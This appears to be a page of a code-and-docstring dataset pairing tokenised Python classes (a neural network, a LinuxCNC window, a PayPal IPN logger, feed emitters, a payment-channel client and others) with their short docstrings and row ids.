class simpleNetwork(object): <NEW_LINE> <INDENT> def __init__(self, window, neurony, forecast_type, arima): <NEW_LINE> <INDENT> self.layers = len(neurony) <NEW_LINE> self.topology = [[] for i in range(self.layers)] <NEW_LINE> for i in range(0, self.layers): <NEW_LINE> <INDENT> quantity = neurony[i] <NEW_LINE> for j in range(0, int(quantity)): <NEW_LINE> <INDENT> if i == 0: <NEW_LINE> <INDENT> self.topology[i].append(simpleNeuron(window)) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> self.topology[i].append(simpleNeuron(neurony[i - 1])) <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> if forecast_type == 1: <NEW_LINE> <INDENT> self.topology.append([simpleNeuron(neurony[len(neurony) - 1]) for i in range(window)]) <NEW_LINE> <DEDENT> elif forecast_type == 4: <NEW_LINE> <INDENT> self.topology.append([simpleNeuron(neurony[len(neurony) - 1])]) <NEW_LINE> <DEDENT> elif forecast_type == 5: <NEW_LINE> <INDENT> self.topology.append([simpleNeuron(neurony[len(neurony) - 1]), simpleNeuron(neurony(len(neurony)))]) <NEW_LINE> <DEDENT> elif forecast_type == 6: <NEW_LINE> <INDENT> self.topology.append([simpleNeuron(neurony[len(neurony) - 1]) for i in range(arima)]) <NEW_LINE> <DEDENT> elif forecast_type == 7: <NEW_LINE> <INDENT> self.topology.append([simpleNeuron(neurony[len(neurony) - 1]) for i in range(arima)]) <NEW_LINE> <DEDENT> self.layers += 1 <NEW_LINE> <DEDENT> def forward_pass(self, input=[]): <NEW_LINE> <INDENT> self.output = [] <NEW_LINE> for i in range(self.layers): <NEW_LINE> <INDENT> if i == 0: <NEW_LINE> <INDENT> for j, el in enumerate(self.topology[i]): <NEW_LINE> <INDENT> self.topology[i][j].calculate(input) <NEW_LINE> <DEDENT> <DEDENT> else: <NEW_LINE> <INDENT> for j, el in enumerate(self.topology[i]): <NEW_LINE> <INDENT> self.topology[i][j].calculate([simpleNeuron.output for w in self.topology[i - 1]]) <NEW_LINE> if i == self.layers - 1: <NEW_LINE> <INDENT> self.output.append( self.topology[i][j].calculate([simpleNeuron.output for w in self.topology[i - 1]])) <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> <DEDENT> return self.output <NEW_LINE> <DEDENT> def backward_pass(self, target, learning_lambda, input=[]): <NEW_LINE> <INDENT> print("simpleNetwork bachward pass target:") <NEW_LINE> print(target) <NEW_LINE> for i in reversed(range(0, self.layers)): <NEW_LINE> <INDENT> if i == self.layers - 1: <NEW_LINE> <INDENT> if not isinstance(target, float): <NEW_LINE> <INDENT> for j, target in enumerate(target): <NEW_LINE> <INDENT> self.topology[i][j].learn(target, learning_lambda, simpleNeuron.getOutputs(self.topology[i-1])) <NEW_LINE> <DEDENT> <DEDENT> else: <NEW_LINE> <INDENT> self.topology[i][0].learn(target, learning_lambda, simpleNeuron.getOutputs(self.topology[i - 1])) <NEW_LINE> <DEDENT> <DEDENT> elif i == 0: <NEW_LINE> <INDENT> for j in self.topology[i]: <NEW_LINE> <INDENT> self.topology[i][j].learn(simpleNeuron.getMomentums(j, self.topology[i+1]), learning_lambda, input) <NEW_LINE> <DEDENT> <DEDENT> else: <NEW_LINE> <INDENT> for j in self.topology[i]: <NEW_LINE> <INDENT> self.topology[i][j].learn(simpleNeuron.getMomentums(j, self.topology[i+1]), learning_lambda, simpleNeuron.getOutputs(self.topology[i-1]))
|
Class defines a neural network of classic neurons, for input of size okno,
topology specified in [[neurony]] dictionary
|
6259902e925a0f43d25e908b
|
class MainWindow(VCPMainWindow): <NEW_LINE> <INDENT> def __init__(self, *args, **kwargs): <NEW_LINE> <INDENT> super(MainWindow, self).__init__(*args, **kwargs) <NEW_LINE> self.mainModeTabWidget.currentChanged.connect(self.onModeTabIndexChanged) <NEW_LINE> STATUS.task_mode.notify(self.onTaskModeChanged) <NEW_LINE> STATUS.task_state.onValueChanged(self.onTaskStateChanged) <NEW_LINE> STATUS.interp_state.notify(self.onInterpStateChanged) <NEW_LINE> <DEDENT> def onTaskStateChanged(self, task_state): <NEW_LINE> <INDENT> self.mainModeTabWidget.setEnabled(task_state == linuxcnc.STATE_ON) <NEW_LINE> <DEDENT> def onModeTabIndexChanged(self, index): <NEW_LINE> <INDENT> if index == 0: <NEW_LINE> <INDENT> setTaskMode(linuxcnc.MODE_MANUAL) <NEW_LINE> <DEDENT> elif index == 1: <NEW_LINE> <INDENT> setTaskMode(linuxcnc.MODE_MDI) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> setTaskMode(linuxcnc.MODE_AUTO) <NEW_LINE> <DEDENT> <DEDENT> def onTaskModeChanged(self, task_mode): <NEW_LINE> <INDENT> if task_mode == linuxcnc.MODE_MANUAL: <NEW_LINE> <INDENT> self.mainModeTabWidget.setCurrentIndex(0) <NEW_LINE> <DEDENT> elif task_mode == linuxcnc.MODE_MDI: <NEW_LINE> <INDENT> self.mainModeTabWidget.setCurrentIndex(1) <NEW_LINE> self.programStackedWidget.setCurrentIndex(1) <NEW_LINE> <DEDENT> elif task_mode == linuxcnc.MODE_AUTO: <NEW_LINE> <INDENT> self.mainModeTabWidget.setCurrentIndex(2) <NEW_LINE> self.programStackedWidget.setCurrentIndex(0) <NEW_LINE> <DEDENT> <DEDENT> def onInterpStateChanged(self, interp_state): <NEW_LINE> <INDENT> if interp_state == linuxcnc.INTERP_IDLE: <NEW_LINE> <INDENT> self.mainModeTabWidget.setTabEnabled(0, True) <NEW_LINE> self.mainModeTabWidget.setTabEnabled(1, True) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> self.mainModeTabWidget.setTabEnabled(0, False) <NEW_LINE> self.mainModeTabWidget.setTabEnabled(1, False)
|
Main window class for the VCP.
|
6259902e6e29344779b01693
|
class ChartItemEventWrapper: <NEW_LINE> <INDENT> meta_type = 'ChartItemEventWrapper' <NEW_LINE> def __init__(self, mapping_name, patient, **object): <NEW_LINE> <INDENT> if mapping_name == 'medications': <NEW_LINE> <INDENT> self.prefix = 'Medicamento ' <NEW_LINE> self.title = object['medication'] <NEW_LINE> self.url_sufix = '/show_medications' <NEW_LINE> <DEDENT> elif mapping_name == 'problems': <NEW_LINE> <INDENT> self.prefix = 'Diagnóstico ' <NEW_LINE> self.title = object['problem'] <NEW_LINE> self.url_sufix = '/show_problem_list' <NEW_LINE> <DEDENT> elif mapping_name == 'allergies': <NEW_LINE> <INDENT> self.prefix = 'Alergia ' <NEW_LINE> self.title = object['allergy'] <NEW_LINE> self.url_sufix = '/show_allergies' <NEW_LINE> <DEDENT> elif mapping_name == 'laboratory': <NEW_LINE> <INDENT> self.prefix = 'Exame ' <NEW_LINE> self.title = object['exam'] <NEW_LINE> self.url_sufix = '/show_exams' <NEW_LINE> <DEDENT> elif mapping_name == 'prescriptions': <NEW_LINE> <INDENT> self.prefix = '' <NEW_LINE> self.title = 'Prescrição' <NEW_LINE> self.url_sufix = '/show_medications' <NEW_LINE> <DEDENT> self.mapping_name = mapping_name <NEW_LINE> self.patient = patient <NEW_LINE> self.id = self.patient.getId() + '_' + mapping_name + '_' + self.title <NEW_LINE> <DEDENT> def getId(self): <NEW_LINE> <INDENT> return self.id <NEW_LINE> <DEDENT> def getOwner(self): <NEW_LINE> <INDENT> portal = getSite() <NEW_LINE> return getToolByName(portal, 'portal_membership').getAuthenticatedMember() <NEW_LINE> <DEDENT> def Title(self): <NEW_LINE> <INDENT> return self.title
|
wrapper for creating chart_data events.
|
6259902e796e427e5384f7c0
|
class PayPalIPN(PayPalStandardBase): <NEW_LINE> <INDENT> format = u"<IPN: %s %s>" <NEW_LINE> class Meta: <NEW_LINE> <INDENT> db_table = "paypal_ipn" <NEW_LINE> verbose_name = "PayPal IPN" <NEW_LINE> <DEDENT> def _postback(self): <NEW_LINE> <INDENT> return urllib2.urlopen( self.get_endpoint(), "cmd=_notify-validate&%s" % self.query).read() <NEW_LINE> <DEDENT> def _verify_postback(self): <NEW_LINE> <INDENT> if self.response != "VERIFIED": <NEW_LINE> <INDENT> self.set_flag("Invalid postback. (%s)" % self.response) <NEW_LINE> <DEDENT> <DEDENT> def send_signals(self): <NEW_LINE> <INDENT> if self.is_transaction(): <NEW_LINE> <INDENT> if self.flag: <NEW_LINE> <INDENT> signals.payment_was_flagged.send(sender=self) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> signals.payment_was_successful.send(sender=self) <NEW_LINE> <DEDENT> <DEDENT> if self.is_recurring_create(): <NEW_LINE> <INDENT> signals.recurring_create.send(sender=self) <NEW_LINE> <DEDENT> elif self.is_recurring_payment(): <NEW_LINE> <INDENT> signals.recurring_payment.send(sender=self) <NEW_LINE> <DEDENT> elif self.is_recurring_cancel(): <NEW_LINE> <INDENT> signals.recurring_cancel.send(sender=self) <NEW_LINE> <DEDENT> elif self.is_subscription_cancellation(): <NEW_LINE> <INDENT> signals.subscription_cancel.send(sender=self) <NEW_LINE> <DEDENT> elif self.is_subscription_signup(): <NEW_LINE> <INDENT> signals.subscription_signup.send(sender=self) <NEW_LINE> <DEDENT> elif self.is_subscription_end_of_term(): <NEW_LINE> <INDENT> signals.subscription_eot.send(sender=self) <NEW_LINE> <DEDENT> elif self.is_subscription_modified(): <NEW_LINE> <INDENT> signals.subscription_modify.send(sender=self)
|
Logs PayPal IPN interactions.
|
6259902e66673b3332c31434
|
@ddt.ddt <NEW_LINE> class CreateVideoPipelineIntegration(TestCase): <NEW_LINE> <INDENT> def setUp(self): <NEW_LINE> <INDENT> super(CreateVideoPipelineIntegration, self).setUp() <NEW_LINE> <DEDENT> def assert_integration_created(self, args, options): <NEW_LINE> <INDENT> integration = VideoPipelineIntegration.current() <NEW_LINE> for index, attr in enumerate(('client_name', 'api_url', 'service_username')): <NEW_LINE> <INDENT> self.assertEqual(args[index], getattr(integration, attr)) <NEW_LINE> <DEDENT> self.assertEqual(integration.enabled, options.get('enabled')) <NEW_LINE> <DEDENT> @ddt.data( ( [ 'veda', 'http://veda.edx.org/api/', 'veda_service_user', ], {'enabled': False} ), ( [ 'veda', 'http://veda.edx.org/api/', 'veda_service_user', ], {'enabled': True} ), ) <NEW_LINE> @ddt.unpack <NEW_LINE> def test_integration_creation(self, args, options): <NEW_LINE> <INDENT> call_command('create_video_pipeline_integration', *args, **options) <NEW_LINE> self.assert_integration_created(args, options) <NEW_LINE> <DEDENT> def test_idempotency(self): <NEW_LINE> <INDENT> args = [ 'veda', 'http://veda.edx.org/api/', 'veda_service_user', ] <NEW_LINE> options = {'enabled': False} <NEW_LINE> call_command('create_video_pipeline_integration', *args, **options) <NEW_LINE> self.assert_integration_created(args, options) <NEW_LINE> call_command('create_video_pipeline_integration', *args, **options) <NEW_LINE> self.assert_integration_created(args, options) <NEW_LINE> self.assertEqual(VideoPipelineIntegration.objects.count(), 1)
|
Management command test class.
|
6259902e73bcbd0ca4bcb2d6
|
class IParticipantManager(Interface): <NEW_LINE> <INDENT> pass
|
storage and validation of participant registration
|
6259902eac7a0e7691f7352e
|
class GS568BatchRandomSampler(Sampler): <NEW_LINE> <INDENT> def __init__(self, dataset, batch_shape, seed=None, replace=False, name='gs568_batch_random_sampler'): <NEW_LINE> <INDENT> Sampler.__init__(self, dataset, name) <NEW_LINE> if isinstance(batch_shape, int): <NEW_LINE> <INDENT> self._batch_shape = (batch_shape,) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> self._batch_shape = batch_shape <NEW_LINE> <DEDENT> self._batch_size = np.prod(batch_shape, dtype=np.int) <NEW_LINE> self._seed = seed <NEW_LINE> self._replace = replace <NEW_LINE> <DEDENT> def _init(self): <NEW_LINE> <INDENT> self._n_images = self._dataset.size() <NEW_LINE> self._size = 0 <NEW_LINE> self._locs = list() <NEW_LINE> for i in range(self._n_images): <NEW_LINE> <INDENT> n_locs = len(self._dataset.get_loc(i)) <NEW_LINE> self._locs.append(n_locs) <NEW_LINE> self._size += n_locs <NEW_LINE> <DEDENT> self._reset() <NEW_LINE> self._dtype = np.dtype([('idx', 'i4'), ('loc', 'i4')]) <NEW_LINE> <DEDENT> def _reset(self): <NEW_LINE> <INDENT> self._rand = np.random.RandomState(self._seed) <NEW_LINE> <DEDENT> def _sample(self): <NEW_LINE> <INDENT> img_idx = self._rand.choice(self._n_images, size=self._batch_size, replace=self._replace) <NEW_LINE> loc_idx = [self._rand.randint(self._locs[ii]) for ii in img_idx] <NEW_LINE> return np.array(list(zip(img_idx, loc_idx)), dtype=self._dtype).reshape(self._batch_shape)
|
Parameters
----------
batch_shape : tuple, list or array-like object
The shape of mini-batch
|
6259902e8a43f66fc4bf31cb
|
class Apple(produce.Produce): <NEW_LINE> <INDENT> def __init__(self, duration): <NEW_LINE> <INDENT> self.duration = '5356800' <NEW_LINE> <DEDENT> def duration(self): <NEW_LINE> <INDENT> return self.duration
|
Apple value update
|
6259902e8c3a8732951f759e
|
class Events(object): <NEW_LINE> <INDENT> def __init__(self, rss_url=""): <NEW_LINE> <INDENT> self.rss_url = rss_url <NEW_LINE> <DEDENT> def get_events_from_rss(self, rss_url=""): <NEW_LINE> <INDENT> if rss_url == "" and self.rss_url == "": <NEW_LINE> <INDENT> return None <NEW_LINE> <DEDENT> self.rss_url = rss_url <NEW_LINE> d = feedparser.parse(self.rss_url) <NEW_LINE> self.title = d['feed'] <NEW_LINE> results = [] <NEW_LINE> for e in d['entries']: <NEW_LINE> <INDENT> event = {} <NEW_LINE> event['location'] = e.title.split(' : ')[0] <NEW_LINE> event_date_location = e.summary.split('\n\n')[1] <NEW_LINE> event['title'] = e.title.split(' : ')[1] <NEW_LINE> event['date'] = event_date_location.split('\n')[1] <NEW_LINE> event['summary'] = e.summary.split('Description')[1].split('Informations')[0] <NEW_LINE> event['content'] = e.content[0].value <NEW_LINE> event['link'] = e.links[0] <NEW_LINE> results.append(event) <NEW_LINE> <DEDENT> return results
|
Class for all events from a calendar
@_data (private)
@title (public)
@events (public)
|
6259902ebe8e80087fbc00c1
|
class NetworkUpdate(): <NEW_LINE> <INDENT> networkId = "" <NEW_LINE> timestamp = None <NEW_LINE> type = None <NEW_LINE> def __init__(self, timestamp, type, networkId): <NEW_LINE> <INDENT> self.timestamp = timestamp <NEW_LINE> self.type = type <NEW_LINE> self.networkId = networkId
|
base class of any network update
|
6259902e23e79379d538d551
|
class HTTPPaymentChannelServer(PaymentChannelServerBase): <NEW_LINE> <INDENT> PROTOCOL_VERSION = 2 <NEW_LINE> def __init__(self, url): <NEW_LINE> <INDENT> super().__init__() <NEW_LINE> self._url = url <NEW_LINE> self._requests = RequestsWrapper() <NEW_LINE> <DEDENT> def get_info(self): <NEW_LINE> <INDENT> r = self._requests.get(self._url) <NEW_LINE> if r.status_code != 200: <NEW_LINE> <INDENT> raise PaymentChannelServerError( "Getting merchant public key: Status Code {}, {}".format(r.status_code, r.text)) <NEW_LINE> <DEDENT> channel_info = r.json() <NEW_LINE> if channel_info['version'] != HTTPPaymentChannelServer.PROTOCOL_VERSION: <NEW_LINE> <INDENT> raise PaymentChannelServerError( "Unsupported protocol version: Server version is {}, client version is {}.".format( channel_info['version'], HTTPPaymentChannelServer.PROTOCOL_VERSION)) <NEW_LINE> <DEDENT> return channel_info <NEW_LINE> <DEDENT> def open(self, deposit_tx, redeem_script): <NEW_LINE> <INDENT> r = self._requests.post(self._url, data={'deposit_tx': deposit_tx, 'redeem_script': redeem_script}) <NEW_LINE> if r.status_code != 200: <NEW_LINE> <INDENT> raise PaymentChannelServerError("Opening payment channel: Status Code {}, {}".format(r.status_code, r.text)) <NEW_LINE> <DEDENT> <DEDENT> def pay(self, deposit_txid, payment_tx): <NEW_LINE> <INDENT> r = self._requests.put(self._url + "/" + deposit_txid, data={'payment_tx': payment_tx}) <NEW_LINE> if r.status_code == 404: <NEW_LINE> <INDENT> raise PaymentChannelNotFoundError() <NEW_LINE> <DEDENT> elif r.status_code != 200: <NEW_LINE> <INDENT> raise PaymentChannelServerError( "Sending payment transaction: Status Code {}, {}".format(r.status_code, r.text)) <NEW_LINE> <DEDENT> payment_tx_info = r.json() <NEW_LINE> return payment_tx_info['payment_txid'] <NEW_LINE> <DEDENT> def status(self, deposit_txid): <NEW_LINE> <INDENT> r = self._requests.get(self._url + "/" + deposit_txid) <NEW_LINE> if r.status_code != 200: <NEW_LINE> <INDENT> raise PaymentChannelServerError( "Getting payment channel status: Status Code {}, {}".format(r.status_code, r.text)) <NEW_LINE> <DEDENT> return r.json() <NEW_LINE> <DEDENT> def close(self, deposit_txid, deposit_txid_signature): <NEW_LINE> <INDENT> r = self._requests.delete(self._url + "/" + deposit_txid, data={'signature': deposit_txid_signature}) <NEW_LINE> if r.status_code != 200: <NEW_LINE> <INDENT> raise PaymentChannelServerError("Closing payment channel: Status Code {}, {}".format(r.status_code, r.text)) <NEW_LINE> <DEDENT> payment_tx_info = r.json() <NEW_LINE> return payment_tx_info['payment_txid']
|
RESTful HTTP Payment Channel Server interface. Protocol documented in
docs/rest-handshake-402.txt.
|
6259902e30c21e258be99854
|
class KappaScore(ConfusionMatrix): <NEW_LINE> <INDENT> def on_epoch_end(self, **kwargs): <NEW_LINE> <INDENT> w = torch.ones((self.n_classes, self.n_classes)) <NEW_LINE> w[self.x, self.x] = 0 <NEW_LINE> sum0 = self.cm.sum(dim=0) <NEW_LINE> sum1 = self.cm.sum(dim=1) <NEW_LINE> expected = torch.einsum('i,j->ij', (sum0, sum1)) / sum0.sum() <NEW_LINE> k = torch.sum(w * self.cm) / torch.sum(w * expected) <NEW_LINE> self.metric = 1 - k
|
Compute the rate of agreement (Cohens Kappa).
Ref.: https://github.com/scikit-learn/scikit-learn/blob/bac89c2/sklearn/metrics/classification.py
|
6259902e66673b3332c31438
|
class OicProviderSettings(OicServerSettings): <NEW_LINE> <INDENT> pass
|
Specific settings for OpenID Connect provider.
|
6259902e4e696a045264e646
|
class FeedEmitter(object): <NEW_LINE> <INDENT> def __init__(self, entries, html_base=None, html_entry=None): <NEW_LINE> <INDENT> self._log = logging.getLogger(self.__class__.__name__) <NEW_LINE> self._entries = entries <NEW_LINE> self._html_base = html_base <NEW_LINE> self._html_entry = html_entry <NEW_LINE> self._log.info('Emitter constructed with %d entries', len(entries)) <NEW_LINE> <DEDENT> def make_rss(self, **kwargs): <NEW_LINE> <INDENT> self._log.info('Emitting RSS') <NEW_LINE> rss = feedgenerator.Rss201rev2Feed(**kwargs) <NEW_LINE> for entry in self._entries: <NEW_LINE> <INDENT> rss.add_item( title=u'[%s] %s' % (entry.source, entry.title), link=entry.link, description=entry.content, author_name=entry.author, pubdate=datetime.datetime.fromtimestamp(entry.updated), unique_id=entry.id) <NEW_LINE> <DEDENT> out = StringIO() <NEW_LINE> rss.write(out, 'utf-8') <NEW_LINE> return out.getvalue() <NEW_LINE> <DEDENT> def make_html(self, **kwargs): <NEW_LINE> <INDENT> self._log.info('Emitting HTML') <NEW_LINE> t = Template(self._html_base) <NEW_LINE> entries = '\n'.join(list(map(self._entry_to_html, self._entries))) <NEW_LINE> return t.generate(entries=entries, **kwargs) <NEW_LINE> <DEDENT> def _entry_to_html(self, entry): <NEW_LINE> <INDENT> t = Template(self._html_entry) <NEW_LINE> return text_type(t.generate(source=entry.source, anchor=entry.anchor, id=entry.id, link=entry.link, title=entry.title, author=entry.author, updated=entry.updated, updated_str=self._date_to_str(entry.updated), content=entry.content), 'UTF-8') <NEW_LINE> <DEDENT> def _date_to_str(self, timestamp): <NEW_LINE> <INDENT> return str(datetime.datetime.fromtimestamp(timestamp))
|
FeedEmitter: Simple news item aggregator and emitter. This takes a
list of FeedEntry objects and optionally, some HTML templates. The
make_rss and make_html methods then generate RSS or HTML from these
feed items.
|
6259902ed6c5a102081e316f
|
class Direction(models.Model): <NEW_LINE> <INDENT> id = models.CharField(max_length=50, verbose_name='Яндекс-индекс направления', primary_key=True) <NEW_LINE> name = models.CharField(max_length=255, verbose_name='Наименование направления') <NEW_LINE> region = models.ForeignKey(Region) <NEW_LINE> class Meta: <NEW_LINE> <INDENT> app_label = 'trains' <NEW_LINE> ordering = ['name'] <NEW_LINE> verbose_name = 'направление' <NEW_LINE> verbose_name_plural = 'направления' <NEW_LINE> <DEDENT> def __str__(self): <NEW_LINE> <INDENT> return '%s' % self.name
|
Направление (Белорусское, Горьковское, Рижское, ...)
|
6259902ee76e3b2f99fd9a55
|
class PerformanceCounterPermission(ResourcePermissionBase,IPermission,ISecurityEncodable,IStackWalk,IUnrestrictedPermission): <NEW_LINE> <INDENT> def AddPermissionAccess(self,*args): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def Clear(self,*args): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def GetPermissionEntries(self,*args): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def RemovePermissionAccess(self,*args): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def __init__(self,*args): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> @staticmethod <NEW_LINE> def __new__(self,*__args): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def __reduce_ex__(self,*args): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def __str__(self,*args): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> PermissionAccessType=property(lambda self: object(),lambda self,v: None,lambda self: None) <NEW_LINE> PermissionEntries=property(lambda self: object(),lambda self,v: None,lambda self: None) <NEW_LINE> TagNames=property(lambda self: object(),lambda self,v: None,lambda self: None)
|
Allows control of code access permissions for System.Diagnostics.PerformanceCounter.
PerformanceCounterPermission()
PerformanceCounterPermission(state: PermissionState)
PerformanceCounterPermission(permissionAccess: PerformanceCounterPermissionAccess,machineName: str,categoryName: str)
PerformanceCounterPermission(permissionAccessEntries: Array[PerformanceCounterPermissionEntry])
|
6259902e30c21e258be99855
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.